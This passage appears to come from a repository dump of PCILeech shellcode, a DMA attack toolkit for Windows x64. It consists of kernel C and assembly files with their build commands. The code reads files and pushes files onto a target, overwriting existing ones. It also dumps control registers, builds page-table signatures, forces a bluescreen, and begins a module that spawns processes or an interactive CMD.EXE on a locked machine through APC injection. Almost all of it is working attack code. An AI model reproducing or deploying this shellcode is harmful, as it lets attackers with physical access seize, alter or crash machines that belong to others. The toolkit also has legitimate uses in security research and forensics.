sizeof(OBJECT_ATTRIBUTES));\n\tfnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));\n\tInitializeObjectAttributes(\n\t\t&_oa,\n\t\t&_su,\n\t\tOBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,\n\t\tNULL,\n\t\tNULL);\n\t// open, write and close file.\n\tif(fnk->KeGetCurrentIrql() != PASSIVE_LEVEL) {\n\t\tpk->dataOut[0] = (QWORD)STATUS_UNSUCCESSFUL;\n\t\tgoto cleanup;\n\t}\n\tnt = fnk->ZwCreateFile(&hFile, GENERIC_READ, &_oa, &_io, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);\n\tif(0 != nt) {\n\t\tpk->dataOut[0] = nt;\n\t\tgoto cleanup;\n\t}\n\tdo {\n\t\tnt = fnk->ZwReadFile(hFile, NULL, NULL, NULL, &_io, (PVOID)(pk->DMAAddrVirtual + pk->dataOutExtraOffset), (ULONG)pk->dataOutExtraLengthMax, NULL, 0);\n\t\tif(NT_ERROR(nt)) { break; }\n\t\tpk->dataOutExtraLength = (QWORD)_io.Information;\n\t\tif(pk->dataOutExtraLength != pk->dataOutExtraLengthMax) { break; }\n\t\tisModeLargeTransfer = TRUE;\n\t} while(WriteLargeOutput_WaitNext(fnk, pk));\n\tfnk->ZwClose(hFile);\n\tif(isModeLargeTransfer) { \n\t\tWriteLargeOutput_Finish(fnk, pk); \n\t}\n\tpk->dataOut[0] = nt;\ncleanup:\n\tfnk->RtlFreeUnicodeString(&_su);\n}\n"
  },
  {
    "path": "pcileech_shellcode/wx64_filepush.c",
    "content": "// wx64_filepush.c : kernel code to push files to target system.\n// Compatible with Windows x64.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_filepush.c\n// ml64 wx64_common_a.asm /Fewx64_filepush.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_filepush.obj wx64_common.obj\n// shellcode64.exe -o wx64_filepush.exe \"PUSH FILES TO TARGET SYSTEM                                    \\n===============================================================\\nPush a file from the local system to the target system.        \\nWARNING! Existing files will be overwritten!                   \\nREQUIRED OPTIONS:                                              \\n  -in  : file to push to target system from this system.       \\n         filename is given in normal format.                   \\n         Example: '-in c:\\temp\\myexefile.exe'                  \\n  -s : file on target system.                                  \\n         filename is given in kernel format (\\??\\-prefix)      \\n         Example: '-s \\??\\c:\\program files\\myexefile.exe'      \\n===== PUSH ATTEMPT DETAILED RESULT INFORMATION ================\\nFILE NAME     : %s\\nNTSTATUS      : 0x%08X\\nBYTES WRITTEN : 0x%08X\\n===============================================================\\n\"\n// \n#include \"wx64_common.h\"\n\n#define STATUS_UNSUCCESSFUL\t\t\t\t\t\t0xC0000001\n#define OBJ_CASE_INSENSITIVE    \t\t\t\t0x00000040\n#define FILE_SYNCHRONOUS_IO_NONALERT\t\t\t0x00000020\n#define FILE_OVERWRITE_IF\t\t\t\t\t\t0x00000005\n#define OBJ_KERNEL_HANDLE       \t\t\t\t0x00000200\n\nVOID c_EntryPoint(_In_ PKMDDATA pk)\n{\n\tNTSTATUS nt;\n\tHANDLE hFile;\n\tIO_STATUS_BLOCK _io;\n\tOBJECT_ATTRIBUTES _oa;\n\tANSI_STRING _sa;\n\tUNICODE_STRING _su;\n\tKERNEL_FUNCTIONS ofnk;\n\tPKERNEL_FUNCTIONS fnk;\n\tif(!pk->dataInStr[0]) {\n\t\tpk->dataOut[0] = (QWORD)STATUS_UNSUCCESSFUL;\n\t\treturn;\n\t}\n\t// initialize kernel functions and strings\n\tInitializeKernelFunctions(pk->AddrKernelBase, &ofnk);\n\tfnk = &ofnk;\n\tfnk->RtlInitAnsiString(&_sa, pk->dataInStr);\n\tfnk->RtlCopyMemory(pk->dataOutStr, pk->dataInStr, 260);\n\tfnk->RtlAnsiStringToUnicodeString(&_su, &_sa, TRUE);\t\n\tfnk->RtlZeroMemory(&_oa, sizeof(OBJECT_ATTRIBUTES));\n\tfnk->RtlZeroMemory(&_io, sizeof(IO_STATUS_BLOCK));\n\tInitializeObjectAttributes(\n\t\t&_oa, \n\t\t&_su,\n\t\tOBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,\n\t\tNULL,\n\t\tNULL);\n\t// open, write and close file.\n\tif(fnk->KeGetCurrentIrql() != PASSIVE_LEVEL) {\n\t\tpk->dataOut[0] = (QWORD)STATUS_UNSUCCESSFUL;\n\t\tgoto cleanup;\n\t}\n\tnt = fnk->ZwCreateFile(&hFile, GENERIC_WRITE, &_oa, &_io, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);\n\tif(0 != nt) {\n\t\tpk->dataOut[0] = nt;\n\t\tgoto cleanup;\n\t}\n\tnt = fnk->ZwWriteFile(hFile, NULL, NULL, NULL, &_io, (PVOID)(pk->DMAAddrVirtual + pk->dataInExtraOffset), (ULONG)pk->dataInExtraLength, 0, 0);\n\tfnk->ZwClose(hFile);\n\tif(0 != nt) {\n\t\tpk->dataOut[0] = nt;\n\t\tgoto cleanup;\n\t}\n\tpk->dataOut[1] = pk->dataInExtraLength;\ncleanup:\n\tfnk->RtlFreeUnicodeString(&_su);\n}"
  },
  {
    "path": "pcileech_shellcode/wx64_pageinfo.asm",
    "content": "; wx64_pageinfo.asm : shellcode assembly for retrieving various CPU registers.\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n; compile with:\n; ml64 wx64_pageinfo.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main\n; shellcode64.exe -o wx64_pageinfo.exe \"PAGEINFO: Results:%s\\n  CR0=%016llX\\n  CR2=%016llX\\n  CR3=%016llX\\n  CR4=%016llX\\n\"\n;\n\n.CODE\n\n; ----------------------------------------------------\n; Fetch control registers and store in dataOut.\n; rcx = 1st parameter (PKMDDATA)\n; rdx = 2nd parameter (ptr to dataIn)\n; r8  = 3rd parameter (ptr to dataOut)\n; on exit:\n; dataOut[0] = cr0\n; dataOut[1] = cr2\n; dataOut[2] = cr3\n; dataOut[3] = cr4\n; ----------------------------------------------------\nmain PROC\n\tMOV rax, cr0\n\tMOV [r8-00h], rax\n\tMOV rax, cr2\n\tMOV [r8+08h], rax\n\tMOV rax, cr3\n\tMOV [r8+10h], rax\n\tMOV rax, cr4\n\tMOV [r8+18h], rax\n\tRET\nmain ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/wx64_pagesignature.c",
    "content": "// wx64_pagesignature.c : kernel code to create a page signature from system module / driver.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_pagesignature.c\n// ml64.exe wx64_common_a.asm /Fewx64_pagesignature.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pagesignature.obj wx64_common.obj\n// shellcode64.exe -o wx64_pagesignature.exe \"MODULE SIGNATURE INFORMATION\\n===========================================================\\nSyntax: pcileech.exe -s <modulename.sys>\\nGENERAL INFORMATION BELOW:\\n  MODULE    : %s \\n  BASE PHYS : %016llX\\n  BASE VIRT : %016llX\\n  SIZE      : %016llX\\n  #CUNKS    : %i\\n  MJ_CREATE : %016llX\\nPAGING INFORMATION BELOW:\\n  CR3       : %016llX\\n  PML4E     : %016llX\\n  PDPTE     : %016llX\\n  PDE       : %016llX\\n  PTE       : %016llX\\nSIGNATURE IS SHOWN BELOW:\\n\"\n//\n#include \"wx64_common.h\"\n\ntypedef struct tdSignaturePTE {\n\tWORD cPages;\n\tWORD wSignature;\n} SIGNATUREPTE, *PSIGNATUREPTE;\n\n#define IRP_MJ_CREATE\t\t\t\t\t\t\t0x00\n#define IRP_MJ_MAXIMUM_FUNCTION\t\t\t\t\t0x1b\n\ntypedef struct _DRIVER_EXTENSION {\n\tstruct _DRIVER_OBJECT *DriverObject;\n\tPVOID AddDevice;\n\tULONG Count;\n\tUNICODE_STRING ServiceKeyName;\n} DRIVER_EXTENSION, *PDRIVER_EXTENSION;\n\ntypedef struct _DRIVER_OBJECT {\n\tSHORT Type;\n\tSHORT Size;\n\tPVOID DeviceObject;\n\tULONG Flags;\n\tPVOID DriverStart;\n\tULONG DriverSize;\n\tPVOID DriverSection;\n\tPDRIVER_EXTENSION DriverExtension;\n\tUNICODE_STRING DriverName;\n\tPUNICODE_STRING HardwareDatabase;\n\tPVOID FastIoDispatch;\n\tPVOID DriverInit;\n\tPVOID DriverStartIo;\n\tPVOID DriverUnload;\n\tPVOID MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];\n} DRIVER_OBJECT, *PDRIVER_OBJECT;\n\n//----------------------------------------------------------------------------------------------------------\n\n#define OBJ_CASE_INSENSITIVE\t\t\t\t\t0x00000040\n#define H_ObReferenceObjectByName\t\t\t\t0x92869205\n#define H_IoDriverObjectType\t\t\t\t\t0xc4d8b5e4\n\ntypedef struct tdKERNEL_FUNCTIONS2 {\n\tNTSTATUS(*ObReferenceObjectByName)(\n\t\t_In_ PUNICODE_STRING ObjectPath,\n\t\t_In_ ULONG Attributes,\n\t\t_In_ PVOID PassedAccessState,\n\t\t_In_ ACCESS_MASK DesiredAccess,\n\t\t_In_ PVOID ObjectType,\n\t\t_In_ MODE AccessMode,\n\t\t_Inout_ PVOID ParseContext,\n\t\t_Out_ PVOID *ObjectPtr\n\t\t);\n} KERNEL_FUNCTIONS2, *PKERNEL_FUNCTIONS2;\n\nVOID InitializeKernelFunctions2(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS2 fnk2)\n{\n\tQWORD FUNC2[][2] = {\n\t\t{ &fnk2->ObReferenceObjectByName,\t\t\tH_ObReferenceObjectByName }\n\t};\n\tfor(QWORD j = 0; j < (sizeof(FUNC2) / sizeof(QWORD[2])); j++) {\n\t\t*(PQWORD)FUNC2[j][0] = PEGetProcAddressH(qwNtosBase, (DWORD)FUNC2[j][1]);\n\t}\n}\n\nQWORD GetPTE(_In_ PKERNEL_FUNCTIONS fnk, _In_ QWORD qwVA, _Out_opt_ QWORD qwaPageInfo[5])\n{\n\t//QWORD buf, paPML4, paPDPT, paPD, paPT, qwPTE;\n\tQWORD buf, qwCR3, qwPML4E, qwPDPTE, qwPDE, qwPTE;\n\t// pml4 -> pdpt\n\tqwCR3 = GetCR3();\n\tbuf = (QWORD)fnk->MmMapIoSpace(qwCR3 & ~0xfff, 4096, 0);\n\tif(!buf) { return 0; }\n\tqwPML4E = *(PQWORD)(buf + (((qwVA >> 39) & 0x1FF) << 3));\n\tfnk->MmUnmapIoSpace((PVOID)buf, 4096);\n\tif(!(qwPML4E & ~0xFFF)) { return 0; }\n\t// pdpt -> pd\n\tbuf = (QWORD)fnk->MmMapIoSpace(qwPML4E & ~0xFFF, 4096, 0);\n\tif(!buf) { return 0; }\n\tqwPDPTE = *(PQWORD)(buf + (((qwVA >> 30) & 0x1FF) << 3));\n\tfnk->MmUnmapIoSpace((PVOID)buf, 4096);\n\tif(!(qwPDPTE & ~0xFFF)) { return 0; }\n\t// pd -> pt\n\tbuf = (QWORD)fnk->MmMapIoSpace(qwPDPTE & ~0xFFF, 4096, 0);\n\tif(!buf) { return 0; }\n\tqwPDE = *(PQWORD)(buf + (((qwVA >> 21) & 0x1FF) << 3));\n\tfnk->MmUnmapIoSpace((PVOID)buf, 4096);\n\tif(!(qwPDE & ~0xFFF)) { return 0; }\n\t// pt -> pte\n\tbuf = (QWORD)fnk->MmMapIoSpace(qwPDE & ~0xFFF, 4096, 0);\n\tif(!buf) { return 0; }\n\tqwPTE = *(PQWORD)(buf + (((qwVA >> 12) & 0x1FF) << 3));\n\tfnk->MmUnmapIoSpace((PVOID)buf, 4096);\n\tif(qwaPageInfo) {\n\t\tqwaPageInfo[0] = qwCR3;\n\t\tqwaPageInfo[1] = qwPML4E;\n\t\tqwaPageInfo[2] = qwPDPTE;\n\t\tqwaPageInfo[3] = qwPDE;\n\t\tqwaPageInfo[4] = qwPTE;\n\t}\n\treturn qwPTE;\n}\n\n//----------------------------------------------------------------------------------------------------------\n\nVOID PageTable_CreateSignature(_In_ PKERNEL_FUNCTIONS fnk, _In_ QWORD qwAddressMin, _In_ QWORD qwAddressMax, _Out_ PSIGNATUREPTE pPTEs, _Inout_ PQWORD pcPTEs)\n{\n\tPSIGNATUREPTE pPTE = pPTEs;\n\tQWORD cPTE = 0, qwAddress = 0, qwPTE = 0;\n\tWORD wSignature;\n\tqwAddressMin &= 0x0fffffffffffff000;\n\tqwAddressMax &= 0x0fffffffffffff000;\n\tfor(qwAddress = qwAddressMin; qwAddress <= qwAddressMax; qwAddress += 0x1000) {\n\t\tqwPTE = GetPTE(fnk, qwAddress, NULL);\n\t\twSignature = (qwPTE & 0x07) | ((qwPTE >> 48 ) & 0x8000);\n\t\tif(wSignature == pPTE->wSignature) { // same as previous\n\t\t\tpPTE->cPages++;\n\t\t\tcontinue;\n\t\t}\n\t\tif(pPTE->cPages) {\n\t\t\tcPTE++;\n\t\t\tif(cPTE >= *pcPTEs) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tpPTE = pPTEs + cPTE;\n\t\t}\n\t\tpPTE->cPages++;\n\t\tpPTE->wSignature = wSignature;\n\t}\n\t*pcPTEs = cPTE;\n}\n\nPVOID PageTable_GetAddrMajorFunction(_Inout_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, _In_ LPWSTR wszDriver)\n{\n\tNTSTATUS nt;\n\tPDRIVER_OBJECT pDriver = NULL;\n\tPVOID* ppvIoDriverObjectType;\n\tUNICODE_STRING usDriver;\n\tUNREFERENCED_PARAMETER(pk);\n\tppvIoDriverObjectType = PEGetProcAddressH(pk->AddrKernelBase, H_IoDriverObjectType);\n\tfnk->RtlInitUnicodeString(&usDriver, wszDriver);\n\tnt = fnk2->ObReferenceObjectByName(&usDriver, OBJ_CASE_INSENSITIVE, NULL, 0, *ppvIoDriverObjectType, KernelMode, NULL, &pDriver);\n\tif(NT_ERROR(nt)) { return nt; }\n\treturn pDriver->MajorFunction[IRP_MJ_CREATE];\n}\n\nVOID c_EntryPoint(_In_ PKMDDATA pk)\n{\n\tCHAR szDriverNtfs[] = { 'n', 't', 'f', 's', '.', 's', 'y', 's', 0 };\n\tCHAR szDriverFastFAT[] = { 'f', 'a', 's', 't', 'f', 'a', 't', '.', 's', 'y', 's', 0 };\n\tWCHAR wszDriverNtfs[] = { '\\\\', 'F', 'i', 'l', 'e', 'S', 'y', 's', 't', 'e', 'm', '\\\\', 'N', 't', 'f', 's', 0 };\n\tWCHAR wszDriverFastFAT[] = { '\\\\', 'F', 'i', 'l', 'e', 'S', 'y', 's', 't', 'e', 'm', '\\\\', 'F', 'a', 's', 't', 'F', 'A', 'T', 0 };\n\tKERNEL_FUNCTIONS fnk;\n\tKERNEL_FUNCTIONS2 fnk2;\n\tQWORD i, cSigPTEs = 32, qwModuleBase;\n\tPSIGNATUREPTE pSigPTEs = (PSIGNATUREPTE)(pk->DMAAddrVirtual + pk->dataOutExtraOffset);\n\tInitializeKernelFunctions(pk->AddrKernelBase, &fnk);\n\tInitializeKernelFunctions2(pk->AddrKernelBase, &fnk2);\n\tqwModuleBase = KernelGetModuleBase(&fnk, pk->dataInStr);\n\tif(qwModuleBase) {\n\t\tpk->dataOut[0] = fnk.MmGetPhysicalAddress((PVOID)qwModuleBase);\n\t\tpk->dataOut[1] = qwModuleBase;\n\t\tpk->dataOut[2] = PEGetImageSize(qwModuleBase);\n\t\tfor(i = 0; i < cSigPTEs; i++) {\n\t\t\tpSigPTEs[i].cPages = 0;\n\t\t\tpSigPTEs[i].wSignature = 0;\n\t\t}\n\t\tPageTable_CreateSignature(\n\t\t\t&fnk,\n\t\t\tqwModuleBase,\n\t\t\tqwModuleBase + PEGetImageSize(qwModuleBase),\n\t\t\tpSigPTEs,\n\t\t\t&cSigPTEs);\n\t\tpk->dataOut[3] = cSigPTEs;\n\t\tif(0 == fnk._stricmp(szDriverNtfs, pk->dataInStr)) {\n\t\t\tpk->dataOut[4] = PageTable_GetAddrMajorFunction(pk, &fnk, &fnk2, wszDriverNtfs);\n\t\t} else if(0 == fnk._stricmp(szDriverFastFAT, pk->dataInStr)) {\n\t\t\tpk->dataOut[4] = PageTable_GetAddrMajorFunction(pk, &fnk, &fnk2, wszDriverFastFAT);\n\t\t}\n\t\tpk->dataOutExtraLength = cSigPTEs * sizeof(SIGNATUREPTE);\n\t\tfnk.RtlCopyMemory(pk->dataOutStr, pk->dataInStr, MAX_PATH);\n\t\tGetPTE(&fnk, qwModuleBase, &pk->dataOut[5]);\n\t}\n}\n"
  },
  {
    "path": "pcileech_shellcode/wx64_psblue.asm",
    "content": "; wx64_psblue.asm : shellcode assembly to just bluescreen the computer due to invalid opcodes\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n; compile with:\n; ml64 wx64_psblue.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main\n; shellcode64.exe -o wx64_psblue.exe \"BLUE SCREEN THE MACHINE!                                         \\n=================================================================\\nREQUIRED OPTIONS:                                                \\n  -0   : Set to one (1) in order to activate.                    \\n         Example: '-0 1'.                                        \\n=================================================================\\n\"\n;\n\n.CODE\n\n; ----------------------------------------------------\n; bluescreen the computer if first qword in dataIn is not 0.\n; rcx = 1st parameter (PKMDDATA)\n; rdx = 2nd parameter (ptr to dataIn)\n; r8  = 3rd parameter (ptr to dataOut)\n; ----------------------------------------------------\nmain PROC\n\tMOV rax, [rdx-00h]\n\tTEST rax, rax\n\tJNZ bluescreen\n\tRET\n\tbluescreen:\n\tdq 0ffffffffffffffffh, 0ffffffffffffffffh\nmain ENDP\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/wx64_pscreate.c",
    "content": "// wx64_pscreate.c : create/spawn new user mode processes.\n// Compatible with Windows x64.\n//\n// (c) Ulf Frisk, 2016\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with (wx64_pscreate):\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_WIN7_COMPAT wx64_pscreate.c\n// ml64 wx64_common_a.asm /Fewx64_pscreate.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pscreate.obj wx64_common.obj\n// shellcode64.exe -o wx64_pscreate.exe \"PROCESS CREATOR - SPAWN NEW PROCESSES ON TARGET!               \\n===============================================================\\nREQUIRED OPTIONS:                                              \\n  -s   : Executable path including command line options.       \\n         Example: '-s c:\\windows\\system32\\cmd.exe'.            \\n  -0   : Parent process PID to start new process from.         \\n         Example '-0 0x0fe0'.                                  \\nOPTIONAL OPTIONS:                                              \\n  -1   : CreateProcess creation flags (dwCreationFlags) as     \\n         specified on MSDN. Hidden Window = 0x08000000         \\n  -2   : Redirect input - use to spawn interactive shell.      \\n         Example: 0x01                                         \\n  -3   : Timeout in seconds. Default: 60.                      \\n  -4   : Boost (Windows 7 only): higher success ratio, but     \\n         parent process may crash. Example 1. Default 0.       \\n===== DETAILED INFORMATION AFTER PROCESS CREATION ATTEMPT =====%s\\nNTSTATUS        : 0x%08X                                       \\nADDITIONAL INFO : 0x%04X                                       \\n===============================================================\\n\"\n//\n// ALTERNATIVELY (wx64_pscmd):\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_PSCMD /D_PSCMD_SYSTEM /D_WIN7_COMPAT wx64_pscreate.c\n// ml64 wx64_common_a.asm /Fewx64_pscmd.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pscreate.obj wx64_common.obj\n// shellcode64.exe -o wx64_pscmd.exe \"PROCESS CREATOR - AUTOMATICALLY SPAWN CMD.EXE ON TARGET!        \\n================================================================\\nAutomatically spawn a CMD.EXE on the target system. This utility\\nonly work if the target system is locked and the login screen is\\nvisible. If it takes time waiting - then please touch any key on\\nthe target system.   If the utility fails multiple times, please\\ntry wx64_pscreate instead.                                      \\n===== DETAILED INFORMATION AFTER PROCESS CREATION ATTEMPT ======%s\\nNTSTATUS        : 0x%08X                                        \\nADDITIONAL INFO : 0x%04X                                        \\n================================================================\\n\"\n//\n// ALTERNATIVELY (wx64_pscmd_user):\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_PSCMD /D_PSCMD_USER /D_WIN7_COMPAT wx64_pscreate.c\n// ml64 wx64_common_a.asm /Fewx64_pscmd_user.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pscreate.obj wx64_common.obj\n// shellcode64.exe -o wx64_pscmd_user.exe \"PROCESS CREATOR - AUTOMATICALLY SPAWN CMD.EXE AS USER ON TARGET!        \\n================================================================\\nAutomatically spawn a CMD.EXE on the target system. This utility\\nwill spawn a cmd.exe in the context of a random logged on user.\\nThis will work even though the computer may be locked. If this\\nutility fails multiple times, please try wx64_pscreate instead.                                      \\n===== DETAILED INFORMATION AFTER PROCESS CREATION ATTEMPT ======%s\\nNTSTATUS        : 0x%08X                                        \\nADDITIONAL INFO : 0x%04X                                        \\n================================================================\\n\"\n#include \"wx64_common.h\"\n\n#define MAGIC_WAIT_WORD\t\t\t\t\t0x01234123412341234\n#define NUM_PARALELL_APC_THREADS\t\t3\n\ntypedef enum _LOCK_OPERATION {\n\tIoReadAccess,\n\tIoWriteAccess,\n\tIoModifyAccess\n} LOCK_OPERATION;\n\ntypedef enum _MM_PAGE_PRIORITY {\n\tLowPagePriority,\n\tNormalPagePriority = 16,\n\tHighPagePriority = 32\n} MM_PAGE_PRIORITY;\n\ntypedef enum _MEMORY_CACHING_TYPE_ORIG {\n\tMmFrameBufferCached = 2\n} MEMORY_CACHING_TYPE_ORIG;\n\ntypedef enum _KAPC_ENVIRONMENT {\n\tOriginalApcEnvironment,\n\tAttachedApcEnvironment,\n\tCurrentApcEnvironment,\n\tInsertApcEnvironment\n} KAPC_ENVIRONMENT;\n\ntypedef struct _KAPC_STATE {\n\tLIST_ENTRY ApcListHead[MaximumMode];\n\tstruct _KPROCESS *Process;\n\tunion {\n\t\tUCHAR InProgressFlags;\n\t\tstruct {\n\t\t\tBOOLEAN KernelApcInProgress : 1;\n\t\t\tBOOLEAN SpecialApcInProgress : 1;\n\t\t};\n\t};\n\tBOOLEAN KernelApcPending;\n\tBOOLEAN UserApcPending;\n} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;\n\ntypedef struct _KAPC {\n\tUCHAR Type;\n\tUCHAR SpareByte0;\n\tUCHAR Size;\n\tUCHAR SpareByte1;\n\tULONG SpareLong0;\n\tstruct _KTHREAD *Thread;\n\tLIST_ENTRY ApcListEntry;\n\tPVOID Reserved[3];\n\tPVOID NormalContext;\n\tPVOID SystemArgument1;\n\tPVOID SystemArgument2;\n\tCCHAR ApcStateIndex;\n\tKPROCESSOR_MODE ApcMode;\n\tBOOLEAN Inserted;\n} KAPC, *PKAPC, *PRKAPC;\n\ntypedef struct _CLIENT_ID {\n\tHANDLE UniqueProcess;\n\tHANDLE UniqueThread;\n} CLIENT_ID;\ntypedef CLIENT_ID *PCLIENT_ID;\n\ntypedef struct SYSTEM_THREAD_INFORMATION {\n\tLARGE_INTEGER KernelTime;\n\tLARGE_INTEGER UserTime;\n\tLARGE_INTEGER CreateTime;\n\tLARGE_INTEGER WaitTime;\n\tPVOID StartAddress;\n\tCLIENT_ID ClientId;\n\tLONG Priority;\n\tLONG BasePriority;\n\tLARGE_INTEGER ContextSwitches;\n\tULONG ThreadState;\n\tULONG WaitReason;\n} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;\n\ntypedef struct _SYSTEM_PROCESS_INFORMATION {\n\tULONG NextEntryOffset;\n\tULONG NumberOfThreads;\n\tBYTE Reserved1[68];\n\tLONG BasePriority;\n\tHANDLE UniqueProcessId;\n\tPVOID Reserved3;\n\tULONG HandleCount;\n\tBYTE Reserved4[4];\n\tPVOID Reserved5[11];\n\tSIZE_T PeakPagefileUsage;\n\tSIZE_T PrivatePageCount;\n\tLARGE_INTEGER Reserved6[6];\n\tSYSTEM_THREAD_INFORMATION ThreadInfos[];\n} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\n\ntypedef struct tdUserShellConfig {\n\tCHAR  szProcToStart[MAX_PATH];\n\tQWORD qwAddrConsoleBuffer;\n\tDWORD fCreateProcess;\n} USERSHELL_CONFIG, *PUSERSHELL_CONFIG;\n\n//----------------------------------------------------------------------------------------------------------\n\ntypedef struct tdKERNEL_FUNCTIONS2 {\n\tPVOID(*IoAllocateMdl)(\n\t\t_In_opt_    PVOID   VirtualAddress,\n\t\t_In_        ULONG   Length,\n\t\t_In_        BOOLEAN SecondaryBuffer,\n\t\t_In_        BOOLEAN ChargeQuota,\n\t\t_Inout_opt_ PVOID   Irp\n\t\t);\n\tVOID(*KeInitializeApc)(\n\t\t_In_ PKAPC  Apc,\n\t\t_In_ PETHREAD  Thread,\n\t\t_In_ KAPC_ENVIRONMENT  TargetEnvironment,\n\t\t_In_ PVOID  KernelRoutine,\n\t\t_In_opt_ PVOID RundownRoutine,\n\t\t_In_ PVOID  NormalRoutine,\n\t\t_In_ KPROCESSOR_MODE  Mode,\n\t\t_In_ PVOID  Context\n\t\t);\n\tBOOLEAN(*KeInsertQueueApc)(\n\t\t_In_ PKAPC  Apc,\n\t\t_In_ PVOID  SystemArgument1,\n\t\t_In_ PVOID  SystemArgument2,\n\t\t_In_ UCHAR  PriorityBoost\n\t\t);\n\tVOID(*KeStackAttachProcess)(\n\t\t_Inout_ PEPROCESS   Process,\n\t\t_Out_   PRKAPC_STATE ApcState\n\t\t);\n\tVOID(*KeUnstackDetachProcess)(\n\t\t_In_ PRKAPC_STATE ApcState\n\t\t);\n\tPVOID(*MmAllocateContiguousMemory)(\n\t\t_In_ SIZE_T NumberOfBytes,\n\t\t_In_ QWORD HighestAcceptableAddress\n\t\t);\n\tVOID(*MmFreeContiguousMemory)(\n\t\t_In_ PVOID BaseAddress\n\t\t);\n\tPVOID(*MmMapLockedPagesSpecifyCache)(\n\t\t_In_     PVOID               MemoryDescriptorList,\n\t\t_In_     KPROCESSOR_MODE     AccessMode,\n\t\t_In_     MEMORY_CACHING_TYPE CacheType,\n\t\t_In_opt_ PVOID               BaseAddress,\n\t\t_In_     ULONG               BugCheckOnFailure,\n\t\t_In_     MM_PAGE_PRIORITY    Priority\n\t\t);\n\tVOID(*MmProbeAndLockPages)(\n\t\t_Inout_ PVOID           MemoryDescriptorList,\n\t\t_In_    KPROCESSOR_MODE AccessMode,\n\t\t_In_    LOCK_OPERATION  Operation\n\t\t);\n\tVOID(*ObDereferenceObject)(\n\t\t_In_ PVOID Object\n\t\t);\n\tLPSTR(*PsGetProcessImageFileName)(\n\t\t_In_  PEPROCESS Process\n\t\t);\n\tNTSTATUS(*PsLookupProcessByProcessId)(\n\t\t_In_  HANDLE    ProcessId,\n\t\t_Out_ PEPROCESS *Process\n\t\t);\n\tNTSTATUS(*PsLookupThreadByThreadId)(\n\t\t_In_  HANDLE   ThreadId,\n\t\t_Out_ PETHREAD *Thread\n\t\t);\n\tNTSTATUS(*RtlCreateUserThread)(\n\t\t_In_ HANDLE ProcessHandle,\n\t\t_In_ QWORD pSecurityDescriptor,\n\t\t_In_ BOOLEAN fCreateSuspended,\n\t\t_In_ QWORD StackZeroBits,\n\t\t_In_ SIZE_T* StackReserved,\n\t\t_In_ SIZE_T* StackCommit,\n\t\t_In_ QWORD EntryPoint,\n\t\t_In_ QWORD _opaque0,\n\t\t_Out_ PHANDLE ThreadHandle,\n\t\t_Out_ PCLIENT_ID ClientID\n\t\t);\n\tsize_t(*strnlen)(\n\t\tconst char *str,\n\t\tsize_t numberOfElements\n\t\t);\n\tNTSTATUS(*ZwAllocateVirtualMemory)(\n\t\t_In_    HANDLE    ProcessHandle,\n\t\t_Inout_ PVOID     *BaseAddress,\n\t\t_In_    ULONG_PTR ZeroBits,\n\t\t_Inout_ PSIZE_T   RegionSize,\n\t\t_In_    ULONG     AllocationType,\n\t\t_In_    ULONG     Protect\n\t\t);\n\tNTSTATUS(*ZwOpenProcess)(\n\t\t_Out_    PHANDLE            ProcessHandle,\n\t\t_In_     ACCESS_MASK        DesiredAccess,\n\t\t_In_     POBJECT_ATTRIBUTES ObjectAttributes,\n\t\t_In_opt_ PCLIENT_ID         ClientId\n\t\t);\n\n} KERNEL_FUNCTIONS2, *PKERNEL_FUNCTIONS2;\n\nVOID InitializeKernelFunctions2(_In_ QWORD qwNtosBase, _Out_ 